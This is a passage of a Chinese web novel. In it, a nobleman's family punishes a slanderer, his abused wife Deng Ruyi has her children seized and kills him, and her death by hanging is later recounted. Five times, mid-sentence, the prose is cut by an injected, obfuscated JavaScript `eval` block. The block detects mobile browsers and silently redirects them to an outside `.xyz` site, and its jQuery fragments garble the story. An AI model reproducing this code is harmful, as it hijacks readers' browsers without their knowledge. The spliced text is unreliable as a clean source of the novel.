祝夫人也跟着点头:“就是啊,你爹和小弟已经替你出气了,用不着你动手。”
躺在地上的邱彦之肿得眼睛都快睁不开了。
他从眼皮缝隙里看到了站在面前的祝红玉。
祝红玉居高临下地看着他,他这一瞬间好像又回到了七年前当街被暴打的瞬间。
他忍不住哆嗦了一下。
他梗着脖子道:“祝红玉,你要是敢再打我,你休想嫁到卫国公府去,你就不怕又被退亲吗?”
祝红玉懒得理他,微微一笑:“爹,娘,这人口出狂言,污蔑裴世子,送回永昌伯府便宜他了。不如送去卫国公府,让裴世子做裁决?”
祝祷一愣,随后哈哈一笑:“好,就听你的!”
不愧是他的女儿,就是聪明。
把人丢给裴明镜处理,顺便看看他昨日到底有没有去醉花楼。
若是真去了,必须得给他的宝贝女儿一个解释。
若是没去,那就更好收拾这邱彦之了。
祝祷连官服都没换,直接揪上邱彦之去卫国公府了。
卫国公府门房一看来的是未来亲家老爷,哪里敢耽误,当即命人去通禀。
裴明镜得知祝祷找上门来,有些疑惑。
他轻声道:“将人请进来吧。”
“见过世子。”祝祷将被打肿的邱彦之扔到了地上。
裴明镜回礼:“见过祝伯父。”
随后不着痕迹地看了一眼地上的邱彦之,眼里闪过一丝疑虑与厌恶。
祝祷没有废话,朗声道:“你来得正好。这混账东西竟敢跑到我祝家去撒野,还满口污言秽语,说你昨日也去了那醉花楼,与他是一丘之貉。”
“还口口声声说给红玉一定会被你休弃。我一时没忍住,动了手。如今我把人给你带来了,你说说这究竟该如何处置。”
祝祷没有直接找裴明镜要交代。
他相信裴明镜这样的聪明人,不用他说,他也会把事情办周全。
听完他的话,裴明镜脸色未变,但周身的气压瞬间低了下去。
他眼底掠过一丝冷意。
他先是对祝祷行了一礼,语气依旧平稳:“伯父息怒。”
略一停顿,他并未回头,只微侧首淡声吩咐:“来人。”
门口的两名护卫立刻站了出来。
“属下在。”
裴明镜看都没看邱彦之一眼,冷冷道:“此人口出狂言,辱及未来世子夫人与本世子。堵嘴,将他捆了,直接送去京兆府。”
“告诉梁大人,此人屡教不改,公然诽谤朝廷勋贵,请他按律秉公办理。另派人去永昌伯府知会一声,让他们去衙门领人。”
“是。”护卫应下,直接把人给拖走了。
邱彦之这下是真的怕了。
被送去京兆府,判一个诽谤朝廷勋贵的罪名,至少要杖责一百。
他如今的身子骨,哪里受得起这样的折磨。
他当即想要求饶,但嘴却被堵住了,只得绝望地被拖去了京兆府。
邱彦之被带走后,厅内一时安静下来。
裴明镜再次对祝祷行了一礼:“伯父,昨日我确实去了醉花楼。不过那是……”
他顿了顿,似乎在想如何措辞,但随后还是坦诚地开口:“那是因为收到了一桩旧案的线索,所以前去查探。查完之后,我就离开了。”
昨日他原本可以不现身,但听到有人妄议他的未婚妻,他怎么能袖手旁观。
他没解释太多,此事淡淡道:“是我行事不够周密,才会生出这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277740|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
许多事端。于情于理我都该亲自去同祝小姐解释。只是……”
“眼下距大婚之期仅余三日。依照礼制与习俗,此时我实不便亲自登门拜访,与她相见,恐惹非议,于礼不合。”
“能否请您稍候片刻,容我修书一封,向祝小姐致歉并解释清楚。您代为转交这封信,您看可否?”
祝祷听他一番话,条理清晰,不推诿责任,还将礼数规矩考虑得如此周全,原本存着的三分火气和七分试探,此刻也消了大半。
他脸色彻底缓和下来,点了点头:“嗯,你说得在理。此时确是不便见面。既是有正经事,你写信说清楚便是。我替你带回去!”
随后他爽朗一笑:“还有,马上就是一家人了,不必祝小姐祝小姐的称呼,你随我们一道喊她红玉便是。”
裴明镜迟疑了片刻,最终还是点了点头。
他迅速提笔写清楚了事情的经过,然后交给了祝祷,恭恭敬敬地行了一个晚辈礼:“劳烦伯父将信转交给红玉。”
“好说好说。”祝祷乐呵呵地打道回府。
*
祝家后宅。
祝夫人有些担忧地看着女儿:“红玉,邱彦之那混账话你别往心里去。裴世子他……”
她心底也有点犯嘀咕,醉花楼毕竟不是好去处。
裴明镜如今并无公务要办,去那里做什么?
祝红玉却神色如常,不以为意道:“娘,你放心。裴世子绝不是邱彦之那种货色。”
她顿了顿,又补充道:“他定然是去办正事的,我信他。他若真敢学那邱彦之逛青楼喝花酒……”
祝红玉捏了捏手指关节,发出轻微的脆响,哼了一声。
“那他之前说的话还算数。我先忍着,等嫁过去了,再找个由头与他好好切磋就是了。反正他说了,若违背了誓言我大可以揍他。”
第414章 没这个媳妇
祝夫人轻轻推了女儿一把:“你这孩子,说的什么话。你要敢动手打裴世子,怕是明日那窦氏就要把你休咯。”
那我就把她一起打。
祝红玉在心里偷摸回答,没敢说出来,生怕把她娘给气死。
“娘,你就放心吧,无论如何,我都会坚持到先嫁过去再说。绝对不会再被退婚,让家里蒙羞了。”她乖巧地看着母亲。
听到她这话,祝夫人心下一酸,不轻不重的拍了一下她的后背。
“你这傻孩子,说的什么话。你永远都不会让我们蒙羞,我们也从未以你为耻过。”
母女二人闲谈间,祝祷回来了。
“爹爹。如何了?世子怎么说?他可有对不起我姐姐?”祝青锋第一个冲上前询问。
“你这孩子,说的什么话。”祝夫人捏住儿子的耳朵。
“大人说话,小孩子一边去。”
“我不,这可是关乎姐姐的幸福,我可不能走。”祝青锋直接抱住了父亲的腰不撒手。
“行了,青锋也是关心姐姐,一片好意。”祝祷哈哈一笑,摸了摸儿子的脑袋,将怀里的信递给了祝红玉。
“裴世子昨夜去醉花楼是为了查案,信里有解释。马上要大婚了,他不便见你,让我把信转交给你。”
祝红玉听到这话,眉眼瞬间染上了笑意。
“我就知道世子肯定是有正经事要办。”
她接过信,转身回屋自己拆开看了。
祝青锋凑上去想看,直接被爹娘给拽走了。
“小孩子,凑什么热闹。”
祝红玉回到房内,小心翼翼地打开了那封信。
裴明镜苍劲有力的字迹跃然于纸上。
【红玉姑娘亲启:
见字如晤。
今日之事,皆因我昨日行事不周而起,连累你受了惊扰,此乃我之过,在此致歉。
昨日前往醉花楼,实非寻欢作乐,乃是为了追查一桩陈年旧案的紧要线索,不得已而入。
此事牵涉甚广,细节错综复杂,且关乎他人清誉安危,眼下尚不便尽数详述,望见谅。
我既已与姑娘定下婚约,自当恪守礼法,谨言慎行。醉花楼之类的地方,若非必要之时,定然不会再次踏足。若要踏足,也会告知于你。
那日许你之事,并非虚言,绝不会出尔反尔。
至于邱彦之一事,你不必再烦忧。
此人屡次口出恶言,诽谤勋贵,已交由京兆府依律处置,从今往后他不会再出现在你面前,扰你清静。
大婚在即,安心备嫁即可,勿为琐事烦心。
裴明镜,谨书。】
祝红玉一字一句读完,目光在那句“既已与姑娘定下婚约,自当恪守礼法,谨言慎行”和“那日许你之事,绝非虚言,绝不会出尔反尔。”上停留了片刻。
信写得克制、守礼,甚至有些公事公办的疏淡。
但她看完却格外的安心。
祝红玉将信纸仔细叠好,唇角不自觉地弯起一个好看的弧度。
他既然让她安心备嫁即可,不要为琐事烦心,那她就听他的。
*
永昌伯得知此事,气得差点背过气去。
这个儿子真是让他们伯府成了全京城的笑柄。
他好不容易压下昨天的火,今天这混账东西又给他点了一把新的。
他根本不想派人去接他,但卫国公府的人都已经上门了,他只能派人去把这个丢人现眼的儿子给领回来。
永昌伯府的管家听到京兆尹判了邱彦之杖责一百,心惊肉跳。
完了,二少爷这下不得打残废了。
他试图求情,但京兆尹根本不搭理。
裴世子那边都传话让他依律惩处了,他若敢收永昌伯府的银钱手下留情,明日裴明镜就能上门找他好好叙旧。
打到第三十下,邱彦之彻底坚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277741|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
持不住,当场晕**过去。
京兆尹梁江御微微皱眉:“行了,你们先把人领回去吧。剩下的七十仗,等他醒了继续吧。”
管家听到这话脸色煞白,但也不敢过多置喙,老老实实把人领回家。
永昌伯看着半死不活的儿子,气不打一处来。
昨日才挨了揍,还没长教训,今日竟然还敢编排裴世子,真是活腻歪了。
他连骂都懒得骂了,直接吩咐:“关起来。没我的命令谁也不准放他出来!让人给他请个大夫,醒了送去京兆府执行剩下的七十仗。行刑结束后,等他把伤养好,送他回乡下老宅去。”
洪氏听到这话,哭天抢地地求夫君收回成命,可永昌伯已经下定决心,没有松口。
邱彦之的大嫂廖氏听到这话,反倒松了一口气。
有这么个丢人的小叔子,她脸上也无光。
如今能送走,倒是极好的。
邓如意看着夫君又一次被丢人现眼地送回来,听着下人们的窃窃私语和公公暴怒的吼声以及婆婆的哭喊声,她只觉得疲惫极了。
她面无表情地回到房里,抱起懵懂的一双儿女,语气平静地对贴身丫鬟说:“收拾东西,我们回娘家住几天。”
这个家,她一刻也待不下去了。
这男人,她多看一眼都觉得恶心。
邓如意走了约莫半个时辰,洪氏才想起来这个儿媳妇。
她怒吼道:“二少夫人**么,二少爷如今这般模样,她还不赶紧去伯爷求情?”
丫鬟唯唯诺诺道:“二、二少夫人带着两位小主子回娘家去了。”
“什么?”洪氏愤怒不已。
这个节骨眼,二儿媳妇竟然敢抛下受伤的夫君回娘家,真是反了天了。
“去,把人给我叫回来。告诉她,若她不回来,那便永远不用回来了。咱们永昌伯府,就当没有她这个儿媳妇!”
第415章 和离与休妻
邓家。
邓如意将一双儿女打发去和侄子侄女玩耍,随后再也忍不住,扑进母亲丁氏怀里,将这些时日的委屈、难堪和绝望哭诉了出来。
“娘,我是真的过不下去了!您没看见他那副样子,被人家像拖死狗一样一次次丢回府门口,满身的酒气脂粉味,脸都丢尽了。”
“公公震怒,婆婆只知道哭骂撒泼,那个家,我多待一刻都觉得恶心。呜呜呜呜,当初……当初我就不该……”
她哭得上气不接下气,话都说不全。
丁氏心疼地搂着女儿,拍着她的背,也跟着落泪:“我苦命的如意,那邱家二郎竟是这般不成器!早知如此,当初……唉……”
当初总觉得到了年纪,男人就会收心,会长大。
如今看来也未必。
看过女儿过得这样凄惨,她也是悔不当初,只能一遍遍安慰。
“哭吧,哭出来就好受了,在娘家没人敢给你气受。”
一旁的嫂子叶氏也是唏嘘不已,递上温热的帕子,柔声劝道:“如意,快别哭了,仔细伤了眼睛。既然回来了,就在家好生住下,静静心。”
邓如意哽咽地点了点头。
几人正说着话,门外丫鬟来报,说是永昌伯府洪夫人派来的婆子到了,说要立刻见二少夫人。
丁氏迟疑了片刻,让人将那婆子领了进来。
邓如意一眼就认出了来人是婆婆身边最得脸的向嬷嬷。
向嬷嬷下巴抬得老高,满脸倨傲,将洪氏的话一五一十地说了出来。
“二少夫人,夫人让老奴来问您,这夫君遭了难,您不在床前伺候汤药,倒跑回娘家躲清闲,是何道理?”
“夫人说了,请您即刻回去。若是不回去……”婆子顿了顿,声音拔高,带着明显的威胁。
“那便永远不用回去了。永昌伯府,就当没您这个儿媳妇!”
邓如意听到这话,猛地站了起来。
她脸上泪痕未干,却硬生生止住了哭泣,红肿的眼睛里烧起从未有过的怒火和决绝。
她盯着向嬷嬷,一字一句道:“既然如此,那便如她所愿!”
向嬷嬷听到这话,一时间懵了。
什么叫如她所愿?
难不成二少夫人真敢不回伯府了?
只见邓如意冷笑一声,怒吼道:“你回去告诉她,这永昌伯府二少奶奶的位置,我邓如意不稀罕了。让她儿子另请高明吧!和离!我要和离!”
向嬷嬷万万没想到一向温顺的二少夫人竟敢说出这样的话,顿时吓傻了。
先前的倨傲顿时烟消云散,她结结巴巴道:“二、二少夫人……您、您说什么气话呢。这、这可使不得啊……”
“滚!”邓如意指着门口,厉声道。
“立刻给我滚出去!把我的话原原本本告诉你家主子。”
向嬷嬷见她状若疯狂,不敢再停留,连滚爬爬地跑了。
人一走,邓如意像是被抽空了力气,踉跄一步,被嫂子叶氏赶紧扶住。
丁氏也慌了神,拉着女儿的手:“如意,你糊涂啊!怎么能轻易说和离?这、这女人家和离了,往后可怎么活?唾沫星子都能淹**啊。”
“反正现在当他的夫人也没少被人在背后议论。”邓如意心底一片冰冷,对邱彦之早已失去了期盼。
叶氏看着她灰败的神色,扯了扯婆婆的袖子,压低声音道:“如意恐怕还在气头上,如今先让她在家里住些时日吧。总不能他们一威胁,咱们就把如意送回去。”
“这样即便回去了,日后也是任由那永昌伯夫人磋磨她。”
丁氏觉得儿媳妇这话说得有道理,忙点头:“对,如意,咱们先不着急和离啊。你先在家里住几日,等过几日再说。”
邓如意哽咽着没有说话,僵硬地点了点头、
*
向嬷嬷急急忙忙地跑回了永昌伯府,将邓如意那番话转告给了洪氏。
洪氏这下是真的气狠了,当场就晕了过去。
邱彦之醒来之后,要找邓如意。
他收拾不了祝红玉和裴明镜,还收拾不了邓如意这个女人了么。
她昨夜竟然敢用那种眼神瞪他!
这女人眼里还有没有点规矩体统,懂不懂什么叫为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280546|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妻之道。
谁给她的胆子。
“少夫人呢,把少夫人找来。”他趴在床上,每说一句话就倒吸一口凉气。
丫鬟怯生生地回应道:“少夫人,少夫人带着小少爷和小小姐回娘家去了。”
“什么?!”邱彦之惊得想要爬起来,但是身上的疼痛让他动弹不得。
他疼得龇牙咧嘴:“她疯了吗,这个时候回娘家,她是想被休吗?”
“去,赶紧派人把她叫回来。”他愤愤不平地下令。
丫鬟听到这话,有些尴尬,小声道:“夫人派向嬷嬷去过邓家了,少夫人说……”
“她说什么?”见她吞吞吐吐,邱彦之急**。
“她说,她要和离。”丫鬟飞快地回答,说完就跑了,生怕二少爷拿她撒气。
“什么?!”邱彦之如遭雷击。
他前脚才嘲笑祝红玉迟早被裴明镜给休了,现在倒好了,他先被夫人抛弃了?
另一边洪氏悠悠转醒,再三确认邓如意说要和离,她气得发了狠,怒道:“和离?她做梦!一个不敬夫君、不侍公婆、遇难则逃的妇人,也配提和离?她想得美!”
她喘着粗气,眼里闪过一抹阴狠。
“去!告诉邓家人。邓如意想滚出我们永昌伯府可以,但不是和离,是休妻。”
“原因很明显,第一、顶撞婆母,是为不孝。”
“第二、善妒,不容夫君,闻夫君有难非但不悉心照料,反携子弃夫而去,心肠歹毒,是为不贤不义。”
“第三、口舌招尤,搬弄是非,搅得家宅不宁。我们永昌伯府,要休了她。”
一旁的丫鬟吓了一跳,想要劝她三思而后行,可看她那愤怒的表情又不敢说了。
二少夫人这些年给二少爷生了一儿一女,照顾二少爷,侍奉公婆都尽心尽力,这休妻的理由,站不住脚啊。
再者,夫人若是越过二少爷替他休妻,恐怕日后会惹得母子不睦。
向嬷嬷今日在邓家受了气,听到这话,立刻点头同意。
“夫人说的是,那样不敬婆母的妇人,就该休了去!”
第416章 强行抢孩子
有了洪氏的发话,向嬷嬷又一次理直气壮地去了邓家。
她把洪氏的话原原本本转达了一遍,随后趾高气扬道:“想和离,没门,只有休妻!夫人说了,伯府的子嗣绝不能流落在外。”
话音落下,她一挥手,厉声命令身后那几个膀大腰圆的婆子。
“还愣着干什么?夫人吩咐了,将小少爷和小小姐立刻带回伯府。动作利索点!”
那几个婆子如狼似虎地就冲上前要抢孩子。
“哇——娘!娘!”邓如意的女儿元元被他们粗暴的动作吓得哇哇大哭,死死抱住邓如意的腿。
哥哥安安也被这阵仗吓住,小脸煞白,紧紧抓着母亲的衣角。
“你们敢!”
邓如意又惊又怒,一把将孩子抱到了怀里。
“放开他们,谁也别想动我的孩子!”
邓家的下人自然不是干看着的。
见对方真要动**人,几个在场的丫鬟婆子立刻围了上来,试图阻拦。
“住手!你们这是做什么!”
“这里是邓府,容不得你们撒野。”
向嬷嬷三角眼一瞪,叉腰骂道:“我们接的是永昌伯府的先少爷、小小姐回自己家,天经地义!”
“你们邓家是想扣着我们伯府的子嗣不成?谁敢阻拦,就是与永昌伯府为敌!”
被扣上“阻拦伯府接子嗣”这么一顶大帽子,邓家下人顿时有些怂了,不敢真的死命阻拦,只能勉强围成一圈护着邓如意母子三人。不断劝说:“有话好好说,不能抢孩子啊,没看到都吓着孩子了么。”
“好说?没什么好说的!”向嬷嬷见状更加嚣张,亲自上前,用力去掰邓如意的手。
同时扭头对带来的婆子怒吼道:“都是**吗?还不快把孩子抱走!”
混乱中,一个粗壮的婆子狠狠推了挡在前面的邓家丫鬟一把,那丫鬟惊叫一声摔倒在地。
另一个婆子趁机一把将哭得撕心裂肺的元元从邓如意怀里硬生生抠了出来。
“元元!”邓如意尖叫着想抢回来,却被另外两个婆子死死扭住了胳膊。
“娘——!放开我娘!”安安见妹妹被抢,哭喊着扑上去踢打那个抱着元元的婆子,却被那婆子直接抱走了。
“安安!”邓如意心如刀割,拼命挣扎,头发散了,衣衫也被扯乱,却根本无法挣脱。
邓家的下人们又急又气,想上前帮忙,却被向嬷嬷带来的人蛮横地挡住,一时竟无法近身。
有机灵的小厮见势不妙,飞跑去前院寻管家和家中男丁了。
但向嬷嬷带来的人动作极快,趁这间隙,她抱着哭得几乎喘不上气的元元,转身就走。
“快走。”向嬷嬷吼了一声,一行人迅速离去。
“安安!元元!”邓如意眼睁睁看着一双儿女被强行夺走,哭得肝肠寸断。
她知道两个孩子是永昌伯府的子嗣,绝不可能让她和离带走。
她迟早要把人送回去的。
但也绝不是以这种方式被他们抢走。
向嬷嬷走到门口,回头嫌恶地瞥了**家下人慌忙扶住的邓如意一眼:“二少夫人,您就歇歇吧。孩子们回的是自己家,是伯府正经的主子,自有夫人疼爱。您啊,好自为之吧!”
说罢,带着一群婆子和哭喊挣扎的孩子,扬长而去。
等邓家管家带着几个男丁匆匆赶来时,只看到一片狼藉和哭得几乎晕厥过去的邓如意。
丁氏和叶氏闻讯赶来,看到这一幕,也是又气又急。
丁氏抱着女儿痛哭:“这永昌伯府还有没有王法了?!这、这简直是强盗行径。”
叶氏气得浑身发抖,对管家道:“快去衙门通知老爷!快去!真是岂有此理!”
公公虽然只是正六品的光禄寺署正,比不得四品的伯爷,但邓家也容不得他们这般上门欺辱。
小姑子只归家一日,就算要休妻,他们也得请族老来见证签字画押走流程,还得去官府报备,绝不是那老虔婆一句话就能敲定的。
如今无凭无据,竟然就打上门来,真是欺人太甚!
邓如意的父亲邓绥收到消息,匆匆忙忙地赶了回来。
听闻家中发生的一切,邓绥又怒又气,径直策马奔往永昌伯府。
他强压着怒火,要求面见永昌伯。
伯府门房得了夫人的示意,不许邓家人上门,当即说永昌伯不在,不便见客。
邓绥气得浑身发抖。
两家是亲家,永昌
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16280547|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伯府竟然要把事情做得那么绝么。
他怒喝一声:“放肆!本官乃朝廷命官,有要事需即刻面见永昌伯!你这刁奴竟敢阻拦?延误了朝廷公务或是伯爷的家事,你有几个脑袋担当得起?”
门房被吓了一跳。
面前的人到底是官身,他没敢硬抗,老实通传去了。
永昌伯不知亲家公为何忽然登门,当即命人把他领了进来。
前厅一相见,邓绥窝了一肚子的火,当即言辞激烈地质问:“伯爷,我邓家虽门第不及府上,却也世代清流,知礼守法。”
“今日尊夫人遣恶仆闯入我邓家,强抢孩子,惊了我家孙儿,欺凌我的家人,此举与强盗何异?这便是你们永昌伯府的家风吗?”
“今日你若不给邓某一个交代,邓某便是拼去这顶官帽,也要去敲登闻鼓,求陛下圣裁!”
永昌伯被他这劈头盖脸的一顿质问弄懵了,他完全不知道洪氏竟背着他做出了如此愚蠢跋扈之事。
他本就因次子这事焦头烂额,此刻听完邓绥的话又惊又怒。
休妻?
次子已成京城笑柄、前途尽毁,这时再休了生了一双儿女的媳妇,以后还能娶到什么样的人家?
永昌伯府的脸还要不要了?
他立刻压下心中惊涛骇浪,连忙对邓绥拱手致歉,语气诚恳:“亲家息怒!息怒!此事在下确实不知,没想到那内宅妇人竟然做出如此荒唐之事。”
他让人给邓绥斟茶,随后遣心腹去打听了一下事情的经过,得知儿媳中午才带孩子回娘家,不过两个时辰,他那夫人便带人上门抢孩子去了。
永昌伯在心中暗骂了一句荒唐。
随后赶忙对邓绥行礼:“亲家,千错万错,都是我治家不严之过。你放心,我即刻派人备上厚礼,恭恭敬敬地去贵府将老二媳妇接回来。”
邓绥见他态度诚恳,处置果断,心中怒气稍稍减轻了些许,为了女儿和外孙的未来,也只能暂且忍下。
“既如此,还望伯爷说到做到。”
说完他便转身大步流星地离开了。
他走后没多久,永昌伯府的管家带着丰厚的礼物和十足的歉意,再次来到了邓家,恭请二少夫人回府。
第417章 休妻和丧夫
邓如意泪流满面,拼命摇头:“我不回去!那是虎狼窝!我死也不回去!”
京城众人皆知卫国公夫人窦氏不好相与,但却鲜少人知道她这个婆婆洪氏也不遑多让。
事事挑剔,动辄斥骂。
她从前亲手为洪氏炖参汤,洪氏尝一口就全泼了,还骂她:“你想咸死我?连这点小事都做不好,我们邱家要你有什么用?”
若是她沉默,洪氏便骂她“锯了嘴的葫芦”;若敢辩解一句,立刻就是“还敢顶嘴?反了你了!”
最令她难受的是洪氏总是毫无道理的迁怒泄愤。
邱彦之在外头惹了祸,她不敢骂儿子,转头就把所有火气撒在她身上。
“都是你这个丧门星!自打你进门,彦之就没顺过。一点帮衬夫君的本事都没有,要你有什么用。”
所以这些年她在永昌伯府变得越来越不爱说话。
洪氏就像一块黏在人身上、肮脏油腻的破布,甩不掉,却又时时刻刻散发着令人作呕的气息。
她一想到这个婆婆,就不想回永昌伯府。
丁氏对女儿的也心痛愤怒,却不得不冷静劝她:“如意,娘知道你委屈。可你若是不回去,那两个孩子落在你那婆婆手里,将来会成什么样?为了孩子,你也得回去啊!”
嫂子叶氏也跟着点头:“是啊,至少你这个当娘的在,还能护着他们一点。他们今日怕是要吓坏了。”
父亲邓绥叹了口气劝说:“你公公已经给了你台阶,你若不下,日后怕是人家就不来请了。”
想到一双儿女,邓如意的泪止都止不住。
最终,在家人的劝说下,想着一切都是为了孩子,她擦干眼泪,还是回了永昌伯府。
她刚一回府,就先想去看看两个孩子,结果直接被洪氏拦在了院外。
洪氏先前被夫君骂了一顿,说她无知蠢妇,竟敢去邓家撒野抢人。
还说休妻之后会让儿子孤家寡人,再难娶新妇。
她心底不服。
明明是邓氏这小蹄子没良心,她将伯府子嗣接回来有什么错。
夫君竟然还训斥她!
因而现在看到邓如意,她心里全是厌烦,但想着夫君的告诫,面上还是堆起了虚伪的假笑。
“如意回来了?辛苦了。”
“安安和元元有我这祖母看着,好得很,你就不用操心了。彦之伤得重,身边离不开人,你既然回来了,就赶紧去伺候着吧,这才是你做妻子的本分。”
邓如意强忍着怒气道:“母亲,让我见见孩子,我看一眼就去伺候夫君。”
“怎么?还怕我亏待了他们不成?”洪氏脸一沉。
“我是他们的亲祖母!留他们在身边亲近天经地义。你如今首要任务是伺候好你的夫君,让他早日康复。别再想些有的没的,还不快去。”
邓如意被堵得哑口无言,心如刀绞,只能一步一回头地走向邱彦之养伤的屋子。
为了折磨她,洪氏故意让其他的丫鬟都走了,只留她一个人伺候邱彦之。
邱彦之见到她进来,非但没有一丝感激,反而将所有的怨气都撒在她身上。
“呦,还知道回来?不是要滚回娘家吗?”
“还敢提和离?谁给你的胆子?”
“我告诉你,休想和离,我邱彦之只会休妻!”
邓如意一句话都没反驳。
她如今满心满眼惦记的都是两个孩子。
见她不说话,邱彦之又烦躁了起来。
他这两日受的**已经够多了,他如今只能发泄在邓如意身上。
“傻愣着干什么?还不快给我擦药!”
邓如意木然地拧了帕子,走过去替他擦拭伤口。
心中的**和恨意如同野草般疯长。
邱彦之却变本加厉,嫌她动作不够轻柔,竟然猛地伸手在她胳膊上的嫩肉狠狠掐了一把。
边掐还要不干不净地骂她:“没用的东西!轻点!想疼死老子吗?”
这一掐,如同压垮骆驼的最后一根稻草。
邓如意脑海中紧绷的那根弦,彻底断了。
她猛地抬起头,所有的委屈、愤怒、绝望、恨意在这一瞬间轰然爆发。
邱彦之被她的眼神吓得一愣
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283647|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
还没来得及开口,就见邓如意猛地抄起旁边一张沉重的楠木圆凳,用尽全身力气,朝着他的脑袋狠狠砸了下去。
“砰!”
一声闷响。
世界安静了。
邱彦之哼都来不及哼一声,便彻底没了声息,鲜血缓缓地从他头上渗出,染红了床褥。
邓如意把手中的凳子“哐当”扔到了地上。
她喘着粗气,喃喃道:“你邱彦之只休妻是吧,那我邓如意就只丧夫。”
好半晌,她才渐渐回过神来。
她哆嗦着伸手,去试探了一下邱彦之的鼻息,发现他彻底没了呼吸。
邓如意脑海里一瞬间只浮现了两个字:完了。
杀夫可是十恶不赦之大罪……
她完了……
*
京城里近来最热闹的两件事。
一件事是卫国公世子裴明镜终于要娶妻了,娶的还是一个被退过婚的老姑娘祝红玉。
这事已经够让人震惊了。
结果在两**婚前夕,永昌伯府的二少爷和二夫人,竟在同一天夜里,双双暴毙了。
这邱二少爷不是别人,偏偏就是那位祝家小姐的前未婚夫!
这一连串充满戏剧性和阴谋气息的事情很快就在街头巷尾,茶楼酒肆传开了。
处处都能听到百姓们压低了声音却又兴奋不已的议论。
“哎哟喂,听说了吗?永昌伯府那个在京兆府被杖责的二少爷没了,连他媳妇一块儿没的!”
“咋能没听说。啧啧,同一天晚上!你说这巧不巧?就在人家前头那位要大婚的档口?这里头没点事儿,谁信啊!”
“要我说,肯定是那邱二少爷心里不痛快,眼看前头未婚妻攀了高枝,自己却越混越回去,憋屈**!”
“憋屈死的?我咋听说是跟他媳妇动手,俩人都没落着好?”
……
各种传言如同长了翅膀一般传遍了整个京城。
就连京郊摘星山庄的棠云婋也听说了这事。
她看向了对面的谢翊宁,好奇地问道:“所以,邓如意究竟是**的?”
第418章 难道有反转
“自缢而亡。”
谢翊宁简简单单的四个字就把邓如意的结局给说完了。
棠云婋一怔,心里有些不是滋味。
明明不是邓如意的错,可她却还是因此丧了命。
但她略微一想,也就理解了邓如意的选择。
《大虞律令》有言:**其亲尊长、外祖父母、夫、夫之祖父母、父母者,皆斩。
她杀了邱彦之,难逃一死。
与其被斩,不如选择自缢,起码将死的选择权留在了自己手里。
谢翊宁见她眉眼里闪过一丝可惜,再一次开口:“不过……”
“不过什么?”棠云婋忍不住追问。
难不成事情有反转?
“不过她也并非杀了邱彦之立刻就自缢的。”谢翊宁把事情详细地说了一遍。
他因为盯着裴明镜,所以知道了邱彦之这家伙在挑事。
于是他闲着也是闲着,拨了个人去盯着邱彦之,生怕他去捣乱,害得祝红玉嫁不成裴明镜。
结果没想到竟然还看到了邱彦之**的全过程。
“那她还做了什么?”棠云婋越发好奇了。
几个丫鬟也竖着耳朵,急得不行。
王爷这人怎么说话老是说一半,真是急死她们了。
谢翊宁不再卖关子:“她派人去请了洪氏,说邱彦之要见亲娘。洪氏骂骂咧咧地去了,结果一进门就被她拿椅子给砸了。”
“洪氏反应快,闪躲开,但也被砸中了肩膀,痛得当场就倒地。”
“邓如意趁机拿着簪子抵住了洪氏的脖子,将人带到了院子里,威胁那些丫鬟仆妇们马上派人去请永昌伯和她娘家人。”
“丫鬟自然不敢耽误。没多久永昌伯和邓家人都来了。”
“见她竟然敢拿着凶器威胁婆母,永昌伯气坏了,她的爹娘更是吓坏了。”
